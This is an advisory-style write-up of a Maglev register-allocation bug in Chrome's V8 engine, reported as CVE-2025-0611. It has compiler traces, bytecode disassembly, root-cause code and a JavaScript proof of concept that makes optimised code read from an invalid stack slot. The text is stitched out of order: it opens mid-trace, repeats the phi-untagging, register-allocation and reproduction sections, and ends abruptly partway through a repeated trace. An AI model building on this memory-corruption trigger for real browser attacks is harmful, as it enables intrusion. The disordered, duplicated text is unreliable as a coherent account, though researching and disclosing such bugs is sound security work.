│ - n26:(x) → 30: φᵀ r1 (x)
▼
Block b5 // second loop
28: φᵀ <context> (n4) (compressed) → (x), 10 uses
29: φᵀ r0 (n6) (compressed) → (x), 7 uses
30: φᵀ r1 (n26) (compressed) → (x), 7 uses
↱ eager @70 (7 live vars)
31: CheckedSmiUntag [n30:(x)] → (x), 2 uses
32: Int32Compare(LessThan) [n31:(x), n17:(x)] → (x), 0 uses 🪦
╭────33: BranchIfInt32Compare(LessThan) [n31:(x), n17:(x)] b6 b10
│ ↓
│ Block b6 // a1 || 1
│╭───34: BranchIfToBooleanTrue [n3:(x)] b8 b7
││ ↓
││ Block b7
││╭──35: Jump b9
│││ with gap moves:
│││ - n15:(x) → 37: φᵀ <accumulator> (x)
│││
│╰─►Block b8
│ │ 36: Jump b9
│ │ │ with gap moves:
│ │ │ - n3:(x) → 37: φᵀ <accumulator> (x)
│ │ ▼
│ ╰►Block b9
│ 37: φᵀ <accumulator> (n3, n15) (compressed) → (x), 7 uses
Step 4: Phi untagging
Phi untagging rewrites 37: φᵀ into 37: φᴵ, so every input must be converted to Int32. Nodes 64 and 65 are added to convert a1:
3: InitialValue(a1) → (x), 11 uses
64: CheckedNumberOrOddballToFloat64(Number) [n3:(x)] → (x), 1 uses
65: CheckedTruncateFloat64ToInt32 [n64:(x)] → (x), 1 uses
...
first loop ...
│
╰─►Block b4
27: Jump b5 // jump to second loop
│ with gap moves:
│ - n4:(x) → 28: φᵀ <context> (x)
│ - n6:(x) → 29: φᵀ r0 (x)
│ - n26:(x) → 30: φᵀ r1 (x)
▼
Block b5 // second loop
28: φᵀ <context> (n4) (compressed) → (x), 10 uses
29: φᵀ r0 (n6) (compressed) → (x), 7 uses
30: φᵀ r1 (n26) (compressed) → (x), 7 uses
31: CheckedSmiUntag [n30:(x)] → (x), 2 uses
32: Int32Compare(LessThan) [n31:(x), n17:(x)] → (x), 0 uses 🪦
╭────33: BranchIfInt32Compare(LessThan) [n31:(x), n17:(x)] b6 b10
│ ↓
│ Block b6 // a1 || 1
│╭───34: BranchIfToBooleanTrue [n3:(x)] b8 b7
││ ↓
││ Block b7
││╭──35: Jump b9
│││ with gap moves:
│││ - n17:(x) → 37: φᴵ <accumulator> (x)
│││
│╰─►Block b8
│ │ 36: Jump b9
│ │ │ with gap moves:
│ │ │ - n65:(x) → 37: φᴵ <accumulator> (x)
│ │ ▼
│ ╰►Block b9
│ 37: φᴵ <accumulator> (n65, n17) → (x), 8 uses
Step 5: Register allocation loses the value
With --trace-maglev-regalloc, the value of v20/n65 is first placed in rcx:
Allocating v11/n3 inputs...
Allocating result...
11/3: InitialValue(a1) → [stack:-8|t], live range: [11-53]
live regs:
Allocating v19/n64 inputs...
- v11/n3 has arbitrary register
gap move: [rcx|R|t] ← v11/n3:[stack:-8|t]
- v11/n3 in clobbered [rcx|R|t] ← [rcx|R|t]
...
19/64: CheckedNumberOrOddballToFloat64(Number) [v11/n3:[rcx|R|t]] → [xmm0|R|f64], live range: [19-20]
live regs: rax=v18, xmm0=v19
Allocating v20/n65 inputs...
- v19/n64 has arbitrary register
- v19/n64 in [xmm0|R|f64]
...
20/65: CheckedTruncateFloat64ToInt32 [v19/n64:[xmm0|R|f64]] → [rcx|R|w32], live range: [20-35]
live regs: rax=v18, rcx=v20
constant gap move: [rdx|R|w32] ← v7/n17
Using v18/n63...
freeing v18/n63
When the jump from Block b4 to Block b5 is processed, all live registers are cleared, and v20/n65 is neither kept in rcx nor spilled to the stack:
...
╰─►Block b4
live regs: rcx=v20, rdx=v7 <=== v20 live in rcx
[holes: 56.]
Using v12/n4...
freeing v12/n4
Using v14/n6...
freeing v14/n6
Using v5/n26...
freeing v5/n26
0x27e30019959d <SharedFunctionInfo opt_me> (0x27e3000472d9 <String[9]: "./test.js">:13:22)
68 : LdaSmi [1]
27/27: Jump b5
│ with gap moves:
│ - v12/n4:[stack:-3|t] → 28: φᵀ <context> v-1(*)
│ - v14/n6:[stack:3|t] → 29: φᵀ r0 v-1(*)
│ - v5/n26:[constant:v-1] → 30: φᵀ r1 v-1(*)
│ with register merges:
▼
Block b5
live regs: <==== no live regs
[holes: 56.]
...
Because the position of v20/n65 is now invalid, a DCHECK fails when the allocator later tries to get its allocation position. In a release build execution continues, and when 35/36: Jump b9 is processed a gap move is generated that tries to load the value from an invalid address:
│╭───33/34: BranchIfToBooleanTrue [v11/n3:[rcx|R|t]] b8 b7
││ ↓
││ Block b7
││ live regs: rax=v29, rcx=v11, rdx=v30, rbx=v7, rdi=v28
││ [holes: 34-36 54.]
││ Using v7/n17...
││ freeing v7/n17
││ 81 : Star2
││╭──34/35: Jump b9
│││ with gap moves:
│││ - v7/n17:[rbx|R|w32] → 37: φᴵ <accumulator> v-1(*)
│││ with register merges:
│││
│╰─►Block b8
│ │ live regs: rax=v29, rcx=v11, rdx=v30, rdi=v28
│ │ [holes: 54.]
│ │ Merging registers...
│ │ rax - incoming node same as node: v29/n29
│ │ rcx - incoming node same as node: v11/n3
│ │ rdx - incoming node same as node: v30/n30
│ │ rdi - incoming node same as node: v28/n28
│ │ Using v20/n65...
│ │ freeing v20/n65
│ │ 35/36: Jump b9
│ │ │ with gap moves:
│ │ │ - v20/n65:(x) → 37: φᴵ <accumulator> v-1(*) <==== Here
│ │ │ with register merges:
│ │ ▼
│ ╰►Block b9
This produces the instruction movq rbx,[rbp-0x58] in the generated code. rbp-0x58 points to an invalid position in the stack frame, so the access is incorrect:
-- Block b8 - PreProcessBasicBlock@../../src/maglev/maglev-code-generator.cc:788
-- 36: Jump b9 - Process@../../src/maglev/maglev-code-generator.cc:800
-- Gap moves: - EmitBlockEndGapMoves@../../src/maglev/maglev-code-generator.cc:902
-- * (x) → [rbx|R|w32] (n37) - EmitBlockEndGapMoves@../../src/maglev/maglev-code-generator.cc:930
0x5a1b47cc0226 1e6 488b5da8 REX.W movq rbx,[rbp-0x58]
Step 6: Reproduction
The proof of concept:
let use = 0;
let v = 0;
function* opt_me(flag, a1) {
// triggering Maglev OSR optimization
if(flag)
%OptimizeOsr();
for (let j = 0; j < 1; j++) {
;
}
for (let k = 0; k < 1; k++) {
const tmp = a1 || 1;
// Triggers type conversion node of a1: OddBallOrHeapNumber=>Float64=>Int32
// Passed to 'use' to avoid being optimized away
use = tmp % 4;
v = tmp;
// Generates SuspendGenerator instruction
yield 1;
}
}
%PrepareFunctionForOptimization(opt_me);
opt_me(false, 123).next();
print(v);
opt_me(false, 123).next();
print(v);
// Maglev OSR optimization
opt_me(true, 123).next();
print(v);
Run it with:
./d8 \
--allow-natives-syntax \
--no-concurrent-recompilation \
./poc.js
The crash:
#
# Fatal error in ../../src/maglev/maglev-ir.h, line 2495
# Debug check failed: is_loadable().
#
Root cause
The root cause is in StraightForwardRegisterAllocator::AllocateRegisters():
void StraightForwardRegisterAllocator::AllocateRegisters() {
...
for (block_it_ = graph_->begin(); block_it_ != graph_->end(); ++block_it_) {
BasicBlock* block = *block_it_;
current_node_ = nullptr;
if (block->has_state()) {
if (block->state()->is_exception_handler()) {
...
} else if (block->state()->is_resumable_loop() && // <=== Key
block->state()->predecessor_count() <= 1) {
// Loops that are only reachable through JumpLoop start from a blank
// state of register values.
// This should actually only support predecessor_count == 1, but we
// currently don't eliminate resumable loop headers (and subsequent code
// until the next resume) that end up being unreachable from JumpLoop.
ClearRegisterValues();
} else {
InitializeRegisterValues(block->state()->register_state());
}
} else if (block->is_edge_split_block()) {
InitializeRegisterValues(block->edge_split_block_register_state());
}
...
}
}
The branch is_resumable_loop() && predecessor_count() <= 1 assumes that a loop header with a single predecessor can only be reached through JumpLoop, and that such a loop should start with a blank register state. Block b5 is a loop header with one predecessor, but that predecessor is Jump b5 in Block b4, not a JumpLoop. It therefore enters the branch and calls ClearRegisterValues(), wiping the value v20/n65 held in rcx.
The reporter notes that the is_resumable_loop() code in AllocateRegisters() comes from commit [redacted], introduced in 2022, so the flaw had been present for a long time and was well hidden.
Impact
The primitive is a loop header BasicBlock with a single predecessor. During Maglev register allocation this removes all nodes before the loop from the registers, so later uses of those nodes behave like a use-after-free and read from invalid addresses. The reporter describes triggering a crash with this primitive as somewhat challenging: in some older versions the same proof of concept also called ClearRegisterValues() during allocation and cleared all live registers, but for unknown reasons did not crash, which may require additional constructions. Commit bisecting based on crashes may therefore not be accurate.
The proof of concept demonstrates a crash; the report does not describe a full exploit chain.
Fix
The report does not describe the fix that was applied.
Variants to test
- Loop headers whose only predecessor is a plain
Jumpfrom a preheader, as in this report.
What happened, in plain words
Chrome runs JavaScript using an engine called V8. To make JavaScript fast, V8 does not simply read and execute the code line by line. It watches which parts of a program run often, and then rewrites those hot parts into a faster form. One of the tools that does this rewriting is called Maglev, a compiler that sits in the middle of V8's optimisation layers.
This report describes a bug in Maglev. When Maglev prepares a certain kind of loop (a piece of code that repeats), it can lose track of a value it was holding in a very fast storage slot inside the processor, called a register. Later, the program tries to read that value from a place where it no longer exists. In a debug build of V8 this stops the program with an internal error. In a normal release build the program keeps going and reads from the wrong memory address, which is a serious kind of memory-safety problem.
The bug is tracked as CVE-2025-0611 and was filed through the Chrome Vulnerability Reward Program (VRP), a scheme where Google pays people who find and report security problems in Chrome. The reporter is credited as 303f06e3.
A few words before we start, because the rest of this article uses them constantly:
- JavaScript engine: the program inside a browser that reads JavaScript and runs it. V8 is Chrome's engine.
- Compiler: a program that translates code from one form into another, usually into something the processor can run faster.
- Optimising compiler: a compiler that rewrites code to make it faster, not just to make it runnable.
- Register: a tiny, extremely fast storage location inside the processor. There are only a handful of them, so the compiler has to decide carefully which value lives in which register at which moment.
- Memory address: a number that identifies a location in the computer's memory, like a house number on a street. Reading from an invalid address means reading from a place that does not hold what the program expects.
- Crash: the program stops unexpectedly. A crash is often the visible symptom of a memory-safety bug.
- Proof of concept (PoC): a small piece of code that demonstrates a bug reliably, so that other people can reproduce it.
Context
This is a Chrome VRP report about an object corruption bug in V8, tracked as CVE-2025-0611. The affected component is V8, and the vulnerable code is in Maglev, V8's mid-tier optimising compiler. Maglev builds a graph from bytecode, runs a phi-untagging phase, then allocates registers with StraightForwardRegisterAllocator. The bug is in that register allocator: a loop header with a single predecessor that is not reached through JumpLoop is treated as if it were, and its register state is wiped.
The reporter is credited as 303f06e3. The report is an advisory-style write-up with a full root-cause analysis and a proof of concept.
Let us unpack the terms in that paragraph, because they are the backbone of the whole story.
- Bytecode: an intermediate form of a program, halfway between the JavaScript you write and the machine instructions the processor runs. V8 first turns JavaScript into bytecode, then optimises the bytecode. Think of it as a recipe written in shorthand that the kitchen staff understand.
- Graph: a diagram of boxes (called nodes) connected by arrows. Maglev turns bytecode into such a graph, where each box is an operation (load a value, add two numbers, jump to another part of the program) and the arrows show what feeds into what. Optimising the graph is easier than optimising raw text.
- Phi node: a special box in the graph that says "this value could have come from any of these several places, depending on which path the program took". If a variable can arrive at a point in the code from two different branches, a phi node merges the two possibilities into one box. The symbol used in the traces is the Greek letter phi, written as
φ. - Phi untagging: JavaScript values are flexible: a variable can hold a number, a string, an object. Internally V8 wraps values with a small label (a "tag") saying what type they are. When the compiler can prove a value is always a small integer, it can strip the label and work with the raw number, which is faster. That stripping is called untagging. The trace shows the phi changing from
φᵀ(tagged) toφᴵ(integer). - Register allocator: the part of the compiler that decides which value sits in which processor register at each moment, and which values have to be parked in slower memory (the stack) instead. It is like a seating plan for a very small restaurant: only a few tables, many guests, and the plan must say who sits where and when.
- Loop header: the first box of a loop, the point the program jumps back to on each repetition.
- Predecessor: a block of code that can jump into another block. If only one block can jump into a given block, that block has one predecessor.
JumpLoop: the bytecode instruction that jumps back to the start of a loop, i.e. the "go round again" instruction.- Object corruption: a class of bug where the internal structure of an object in memory is damaged or misread. It is serious because it can be a stepping stone to running attacker-controlled code.
Setup
The proof of concept is a JavaScript file, poc.js, run under d8 with native syntax enabled and concurrent recompilation disabled. The reporter tested it against V8 at commit [redacted] and it triggered a crash there.
Some explanation of that setup:
d8: V8's own command-line shell. It is a small program that runs JavaScript using V8 directly, without a browser around it. Security researchers use it because it is much easier to experiment with than Chrome itself.- Native syntax: V8 has a set of special functions, written with a leading
%, that normal JavaScript cannot call. They are meant for V8's own developers and for testing.--allow-natives-syntaxswitches them on. In the proof of concept,%OptimizeOsrand%PrepareFunctionForOptimizationare such functions. - Concurrent recompilation: V8 can optimise code on a background thread while the main program keeps running.
--no-concurrent-recompilationturns that off, so optimisation happens in a predictable order. This makes a bug easier to reproduce reliably. - Commit: a saved snapshot of a code repository, identified by a long hexadecimal string. Saying "tested at commit
[redacted]" pins down exactly which version of the code was used.
To make the Maglev graph easier to read, the reporter added two flags, --no-maglev-optimistic-peeled-loops and --no-maglev-loop-peeling. These are not required to trigger the crash; they only simplify the graph. Other tracing flags used during the analysis are --trace-maglev-graph-building and --trace-maglev-regalloc.
- Flag: an option passed on the command line that changes how a program behaves.
- Loop peeling: an optimisation where the compiler copies the first round of a loop out of the loop, so the loop body can be simplified. It makes the graph more complicated to read, which is why the reporter switched it off.
- Trace flag: a flag that makes the compiler print a detailed log of what it is doing.
--trace-maglev-graph-buildingprints the graph as it is built;--trace-maglev-regallocprints the register allocation decisions.
Finding it
The starting point is the bytecode of opt_me(). It contains two loops. The first loop spans bytecode offsets 50 to 66; after %OptimizeOsr() is called, its JumpLoop at offset 62 triggers OSR optimisation. The second loop spans offsets 68 to 144, and the vulnerability lies in how that second loop is handled.
- Offset: a position number in the bytecode, like a line number in a script. "Offset 62" means "the instruction at position 62".
- OSR (On-Stack Replacement): a technique where the engine switches a function that is already running over to its optimised version, without waiting for the function to be called again. Imagine a car that swaps its engine while driving.
%OptimizeOsr()asks V8 to do exactly that.
....
// if(flag) %OptimizeOsr();
59 S> 0x8c400004020b @ 39 : 0b 03 Ldar a0
0x8c400004020d @ 41 : a1 07 JumpIfToBooleanFalse [7] (0x8c4000040214 @ 48)
76 S> 0x8c400004020f @ 43 : 6c fe 01 f9 00 CallRuntime [OptimizeOsr], r0-r0
// for (let j = 0; j < 1; j++) { }
135 S> 0x8c4000040214 @ 48 : 0c LdaZero
0x8c4000040215 @ 49 : cb Star3
140 S> 0x8c4000040216 @ 50 : 0d 01 LdaSmi [1]
140 E> 0x8c4000040218 @ 52 : 75 f6 00 TestLessThan r3, [0]
0x8c400004021b @ 55 : a3 0b JumpIfFalse [11] (0x8c4000040226 @ 66)
146 S> 0x8c400004021d @ 57 : 0b f6 Ldar r3
0x8c400004021f @ 59 : 57 01 Inc [1]
0x8c4000040221 @ 61 : cb Star3
122 E> 0x8c4000040222 @ 62 : 92 0c 00 02 JumpLoop [12], [0], [2] (0x8c4000040216 @ 50)
// for (let k = 0; k < 1; k++) {
223 S> 0x8c4000040226 @ 66 : 0c LdaZero
0x8c4000040227 @ 67 : cd Star1
228 S> 0x8c4000040228 @ 68 : 0d 01 LdaSmi [1]
228 E> 0x8c400004022a @ 70 : 75 f8 03 TestLessThan r1, [3]
0x8c400004022d @ 73 : a3 47 JumpIfFalse [71] (0x8c4000040274 @ 144)
// const tmp = a1 || 1;
260 S> 0x8c400004022f @ 75 : 0b 04 Ldar a1
0x8c4000040231 @ 77 : a0 04 JumpIfToBooleanTrue [4] (0x8c4000040235 @ 81)
0x8c4000040233 @ 79 : 0d 01 LdaSmi [1]
0x8c4000040235 @ 81 : cc Star2
// use = tmp % 4;
376 S> 0x8c4000040236 @ 82 : 4f 04 04 ModSmi [4], [4]
0x8c4000040239 @ 85 : ca Star4
0x8c400004023a @ 86 : 18 03 LdaCurrentScriptContextSlot [3]
370 E> 0x8c400004023c @ 88 : b4 04 ThrowReferenceErrorIfHole [4]
0x8c400004023e @ 90 : 0b f5 Ldar r4
0x8c4000040240 @ 92 : 29 03 StaCurrentScriptContextSlot [3]
// v = tmp;
429 S> 0x8c4000040242 @ 94 : 18 04 LdaCurrentScriptContextSlot [4]
431 E> 0x8c4000040244 @ 96 : b4 05 ThrowReferenceErrorIfHole [5]
0x8c4000040246 @ 98 : 0b f7 Ldar r2
0x8c4000040248 @ 100 : 29 04 StaCurrentScriptContextSlot [4]
// yield 1
478 S> 0x8c400004024a @ 102 : 0d 01 LdaSmi [1]
0x8c400004024c @ 104 : ca Star4
0x8c400004024d @ 105 : 12 LdaFalse
0x8c400004024e @ 106 : c9 Star5
0x8c400004024f @ 107 : 6f 0e f5 02 InvokeIntrinsic [_CreateIterResultObject], r4-r5
478 E> 0x8c4000040253 @ 111 : b9 f9 f9 04 01 SuspendGenerator r0, r0-r3, [1]
0x8c4000040258 @ 116 : ba f9 f9 04 ResumeGenerator r0, r0-r3
0x8c400004025c @ 120 : ca Star4
0x8c400004025d @ 121 : 6f 09 f9 01 InvokeIntrinsic [_GeneratorGetResumeMode], r0-r0
0x8c4000040261 @ 125 : ab 06 02 00 SwitchOnSmiNoFeedback [6], [2], [0] { 0: @135, 1: @132 }
0x8c4000040265 @ 129 : 0b f5 Ldar r4
478 E> 0x8c4000040267 @ 131 : b1 Throw
0x8c4000040268 @ 132 : 0b f5 Ldar r4
0x8c400004026a @ 134 : b3 Return
// k++ and loop back edge
234 S> 0x8c400004026b @ 135 : 0b f8 Ldar r1
0x8c400004026d @ 137 : 57 05 Inc [5]
0x8c400004026f @ 139 : cd Star1
210 E> 0x8c4000040270 @ 140 : 92 48 00 06 JumpLoop [72], [0], [6] (0x8c4000040228 @ 68)
0x8c4000040274 @ 144 : 0e LdaUndefined
493 S> 0x8c4000040275 @ 145 : b3 Return
This is a disassembly: a human-readable listing of the bytecode instructions. Each line has a memory address on the left, then @ and an offset, then the raw bytes, then the instruction name and its operands. You do not need to read every line; here is what matters, in order:
Ldar a0loads the first argument (flag) into a special working slot called the accumulator. The accumulator is where most instructions leave their result.JumpIfToBooleanFalsechecks whether that value is false. If it is, the program skips the next instruction.CallRuntime [OptimizeOsr]is the call to%OptimizeOsr(). So the optimisation request only happens whenflagis true.LdaZero,Star3,LdaSmi [1],TestLessThan r3, [0]set up the first loop: put zero in registerr3, compare it with 1, and jump out if the comparison fails. This is thefor (let j = 0; j < 1; j++)loop, which does nothing inside.JumpLoop [12], [0], [2]at offset62is the back edge of the first loop: it jumps back to offset50. This is the instruction that triggers OSR optimisation.- At offset
66the second loop begins:LdaZero,Star1,LdaSmi [1],TestLessThan r1, [3],JumpIfFalseto offset144. This isfor (let k = 0; k < 1; k++). - Inside the second loop,
Ldar a1andJumpIfToBooleanTrueimplementa1 || 1: ifa1is truthy, keep it, otherwise load 1. The result is stored in registerr2byStar2. ModSmi [4], [4]computestmp % 4, and the result is stored into the script context slot foruse. A script context slot is a storage box for a top-level variable, here the globaluse.- The next few instructions store
tmpinto the slot forv. InvokeIntrinsic [_CreateIterResultObject]builds the object that a generator returns when it yields, andSuspendGeneratoris the instruction that pauses the generator and saves its state. This corresponds toyield 1.ResumeGeneratoris where execution continues when the generator is resumed. Then a switch decides what to do next, and the code either throws or returns.- At offset
135the loop counter is incremented (Ldar r1,Inc [5],Star1), andJumpLoop [72], [0], [6]at offset140jumps back to offset68, the start of the second loop. - At offset
144the function ends:LdaUndefinedandReturn.
A generator is a JavaScript function that can pause itself in the middle and resume later; each pause is a yield. This matters because pausing forces V8 to save the function's state, and that saving is exactly where the graph building stops in this bug.
Exploitation
Step 1: Graph building and merge states
During initialisation, offsets 50 and 68 are the jump targets of the two JumpLoop bytecodes, so MergePointInterpreterFrameState objects are created at merge_states_[50] and merge_states_[68]. With loop peeling turned off, the trace shows:
- Non-standard entrypoint @50 by OSR from @62
...
- Creating loop merge state at @50
- Creating loop merge state at @68
0x5c226139d4b8 n13: CheckpointedJump
What this means:
- Interpreter frame state: a snapshot of everything the running function currently holds: its arguments, its local variables, its registers, and the current position in the code. If the optimised code needs to fall back to the slow interpreter, this snapshot is what it hands over.
- Merge point: a place in the code where two or more paths come together, so the engine has to reconcile their snapshots. A loop header is a natural merge point, because the first entry into the loop and every repetition both arrive there.
MergePointInterpreterFrameState: the object that stores the reconciled snapshot for a merge point.merge_states_[50]is the one for offset 50,merge_states_[68]the one for offset 68.- Entrypoint: the place where optimised execution starts. Here it is offset 50, reached by OSR from the
JumpLoopat offset 62. n13: CheckpointedJump: a node in the graph, numbered 13, representing a jump that also records a checkpoint of the program state.
Step 2: The first loop
Handling the first loop merges the interpreter frame state into merge_states_[50] twice. At loop initialisation, the r3 register becomes Phi(r3) [n9, nil]. When the JumpLoop at offset 62 is handled, the current frame state is merged again, and n22 becomes the second input, giving Phi(r3) [n9, n25].
Initializing loop state...
<this>: <unregistered node (nil)><> <- n1<> => n1: InitialValue(<this>) → (x), 1 uses<>
a0: <unregistered node (nil)><> <- n2<> => n2: InitialValue(a0) → (x), 1 uses<>
a1: <unregistered node (nil)><> <- n3<> => n3: InitialValue(a1) → (x), 1 uses<>
<context>: <unregistered node (nil)><> <- n4<> => n4: InitialValue(<context>) → (x), 1 uses<>
r0: <unregistered node (nil)><> <- n6<> => n6: InitialValue(r0) → (x), 1 uses<>
r3: <unregistered node 0x5c226139cf38><> <- n9<> => <unregistered node 0x5c226139cf38>: Phi(r3) [n9:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦<>
50 : 0d 01 LdaSmi [1]
== New block (loop header @0x5c226139cd40) at 0x029b00099599 <SharedFunctionInfo opt_me>==
* VOs (Interpreter Frame State):
- Copying frame state from merge @0x5c226139cd40
* VOs (Interpreter Frame State):
* VOs (Merge Frame State):
...
62 : 92 0c 00 02 JumpLoop [12], [0], [2]
0x5c226139f920 n23: ReduceInterruptBudgetForLoop(9)
0x5c226139fa30 n24: JumpLoop
Merging loop backedge...
<this>: n1<> <- n1<> => n1: InitialValue(<this>) → (x), 3 uses<>
a0: n2<> <- n2<> => n2: InitialValue(a0) → (x), 3 uses<>
a1: n3<> <- n3<> => n3: InitialValue(a1) → (x), 3 uses<>
<context>: n4<> <- n4<> => n4: InitialValue(<context>) → (x), 3 uses<>
r0: n6<> <- n6<> => n6: InitialValue(r0) → (x), 3 uses<>
r3: n14<> <- n22<> => n14: Phi(r3) [n9:(x), n25:(x)] → (x), 2 uses<>
Reading this trace line by line:
Initializing loop state...marks the moment the compiler starts setting up the loop header at offset 50.- Each following line shows one storage location and what it currently holds.
<this>is the object the method was called on;a0anda1are the function's arguments;<context>is the environment that holds outer variables;r0andr3are internal registers. n1: InitialValue(<this>)means node number 1 is the starting value of<this>.1 usessays how many later nodes read it.- The
r3line is the interesting one:Phi(r3) [n9:(x), <unregistered node (nil)>:(x)]says the value ofr3is a phi node with two possible inputs, one of which isn9and the other isnil, meaning "nothing yet". The🪦symbol marks a node that is dead or unused. == New block (loop header ...) ==announces that a new block of the graph has been created for the loop header.Copying frame state from merge ...says the snapshot stored at the merge point is being copied into the new block.- Later,
JumpLoop [12], [0], [2]is the back edge being processed.ReduceInterruptBudgetForLoop(9)is bookkeeping that counts down a budget so the engine can interrupt long-running loops. Merging loop backedge...is the second merge into the same loop header. Now ther3line readsPhi(r3) [n9:(x), n25:(x)]: thenilhas been replaced by a real node,n25.
The takeaway: graph building only adds a second input to a Phi when it handles a JumpLoop; otherwise the Phi keeps a single input.
Step 3: The second loop
For the second loop, the loop preheader merge leaves the Phi nodes for r0 and r1 with one real input and one nil:
...
68 : 0d 01 LdaSmi [1]
0x5c226139fc60 n27: Jump
Merging...
<this>: n1<> <- n1<> => n1: InitialValue(<this>) → (x), 3 uses<>
a0: n2<> <- n2<> => n2: InitialValue(a0) → (x), 3 uses<>
a1: n3<> <- n3<> => n3: InitialValue(a1) → (x), 3 uses<>
<context>: <unregistered node 0x5c226139d288><> <- n4<> => <unregistered node 0x5c226139d288>: Phi(<context>) [n4:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦<>
r0: <unregistered node 0x5c226139d330><> <- n6<> => <unregistered node 0x5c226139d330>: Phi(r0) [n6:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦<>
r1: <unregistered node 0x5c226139d3d8><> <- n26<> => <unregistered node 0x5c226139d3d8>: Phi(r1) [n26:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦<>
== New block (loop header @0x5c226139cfc0) at 0x029b00099599 <SharedFunctionInfo opt_me>==
* VOs (Interpreter Frame State):
- Copying frame state from merge @0x5c226139cfc0
* VOs (Interpreter Frame State):
* VOs (Merge Frame State):
0x5c226139d288 n28: Phi(<context>) [n4:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦
0x5c226139d330 n29: Phi(r0) [n6:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦
0x5c226139d3d8 n30: Phi(r1) [n26:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦
...
**** Graph construction stops when encountering SuspendGenerator bytecode ****
111 : b9 f9 f9 04 01 SuspendGenerator r0, r0-r3, [1]
0x5c22613a2738 n56: RootConstant(optimized_out) → (x), 0 uses 🪦
0x5c22613a2708 n57: GeneratorStore [n28:(x), n29:(x), n2:(x), n3:(x), n29:(x), n30:(x), n56:(x), n56:(x)]
! Clearing unstable node aspects
0x5c22613a27e0 n58: Return [n50:(x)]
**** Bytecode between 116~140 are Dead ****
116 : ba f9 f9 04 ResumeGenerator r0, r0-r3
== Dead ==
116 : ba f9 f9 04 ResumeGenerator r0, r0-r3
...
140 : 92 48 00 06 JumpLoop [72], [0], [6]
== Dead ==
140 : 92 48 00 06 JumpLoop [72], [0], [6]
Line by line:
68 : 0d 01 LdaSmi [1]is the first instruction of the second loop, andn27: Jumpis the graph node that jumps into the loop header.Merging...shows the snapshot being merged into the loop header. The<context>,r0andr1entries each become a phi with one real input (n4,n6,n26) and onenil.== New block (loop header ...) ==creates the block for the second loop, and the three phi nodes are numberedn28,n29andn30.**** Graph construction stops when encountering SuspendGenerator bytecode ****is the crucial line. When the compiler reaches theyield, it cannot keep building the graph in a straight line, because the function will pause and resume elsewhere. It emits aGeneratorStorenode (which saves the generator's state) and aReturnnode, and stops.**** Bytecode between 116~140 are Dead ****says that everything fromResumeGeneratorup to and including theJumpLoopat offset 140 is now unreachable in this graph. TheJumpLoopat 140 is the back edge of the second loop, and it is never processed.
When SuspendGenerator is reached, Maglev emits a Return node and stops building the graph. The JumpLoop at offset 140 is never processed, so the Phi nodes for r0 and r1 keep a single input at the end of graph building.
The resulting graph has a second loop header, Block b5, with two properties: it is a loop header because it is the target of the JumpLoop at offset 140, and it has only one predecessor, 27: Jump b5 in Block b4.
3: InitialValue(a1) → (x), 11 uses
...
first loop ...
│
╰─►Block b4
27: Jump b5 // jump to second loop
│ with gap moves:
│ - n4:(x) → 28: φᵀ <context> (x)
│ - n6:(x) → 29: φᵀ r0 (x)
│ - n26:(x) → 30: φᵀ r1 (x)
▼
Block b5 // second loop
28: φᵀ <context> (n4) (compressed) → (x), 10 uses
29: φᵀ r0 (n6) (compressed) → (x), 7 uses
30: φᵀ r1 (n26) (compressed) → (x), 7 uses
↱ eager @70 (7 live vars)
31: CheckedSmiUntag [n30:(x)] → (x), 2 uses
32: Int32Compare(LessThan) [n31:(x), n17:(x)] → (x), 0 uses 🪦
╭────33: BranchIfInt32Compare(LessThan) [n31:(x), n17:(x)] b6 b10
│ ↓
│ Block b6 // a1 || 1
│╭───34: BranchIfToBooleanTrue [n3:(x)] b8 b7
││ ↓
││ Block b7
││╭──35: Jump b9
│││ with gap moves:
│││ - n15:(x) → 37: φᵀ <accumulator> (x)
│││
│╰─►Block b8
│ │ 36: Jump b9
│ │ │ with gap moves:
│ │ │ - n3:(x) → 37: φᵀ <accumulator> (x)
│ │ ▼
│ ╰►Block b9
│ 37: φᵀ <accumulator> (n3, n15) (compressed) → (x), 7 uses
This is the graph drawn as a tree. The vertical bars and arrows show which block flows into which. Reading it:
Block b4ends with27: Jump b5, the jump into the second loop.with gap moves:lists values that must be moved into the right places as the jump happens. A gap move is a small copy the compiler inserts at a jump so that each value ends up where the next block expects it. Think of it as moving furniture into the right rooms before the next scene starts.Block b5is the second loop header. Its three phi nodes28,29,30are markedφᵀ, meaning tagged (still carrying their type labels).31: CheckedSmiUntag [n30:(x)]strips the tag from the loop counter, after checking it really is a small integer (a "Smi").32: Int32Compare(LessThan)compares the counter with the limit, and33: BranchIfInt32Comparebranches on the result:b6if the loop should continue,b10if it should stop.Block b6implementsa1 || 1:34: BranchIfToBooleanTrue [n3:(x)]goes tob8ifa1is truthy, otherwise tob7.Block b7(thea1is falsy path) jumps tob9with a gap move puttingn15into the accumulator phi.Block b8(thea1is truthy path) jumps tob9with a gap move puttingn3into the same phi.Block b9holds37: φᵀ <accumulator> (n3, n15), the phi that merges the two possible values of the accumulator.
Step 4: Phi untagging
Phi untagging rewrites 37: φᵀ into 37: φᴵ, so every input must be converted to Int32. Nodes 64 and 65 are added to convert a1:
3: InitialValue(a1) → (x), 11 uses
64: CheckedNumberOrOddballToFloat64(Number) [n3:(x)] → (x), 1 uses
65: CheckedTruncateFloat64ToInt32 [n64:(x)] → (x), 1 uses
...
first loop ...
│
╰─►Block b4
27: Jump b5 // jump to second loop
│ with gap moves:
│ - n4:(x) → 28: φᵀ <context> (x)
│ - n6:(x) → 29: φᵀ r0 (x)
│ - n26:(x) → 30: φᵀ r1 (x)
▼
Block b5 // second loop
28: φᵀ <context> (n4) (compressed) → (x), 10 uses
29: φᵀ r0 (n6) (compressed) → (x), 7 uses
30: φᵀ r1 (n26) (compressed) → (x), 7 uses
31: CheckedSmiUntag [n30:(x)] → (x), 2 uses
32: Int32Compare(LessThan) [n31:(x), n17:(x)] → (x), 0 uses 🪦
╭────33: BranchIfInt32Compare(LessThan) [n31:(x), n17:(x)] b6 b10
│ ↓
│ Block b6 // a1 || 1
│╭───34: BranchIfToBooleanTrue [n3:(x)] b8 b7
││ ↓
││ Block b7
││╭──35: Jump b9
│││ with gap moves:
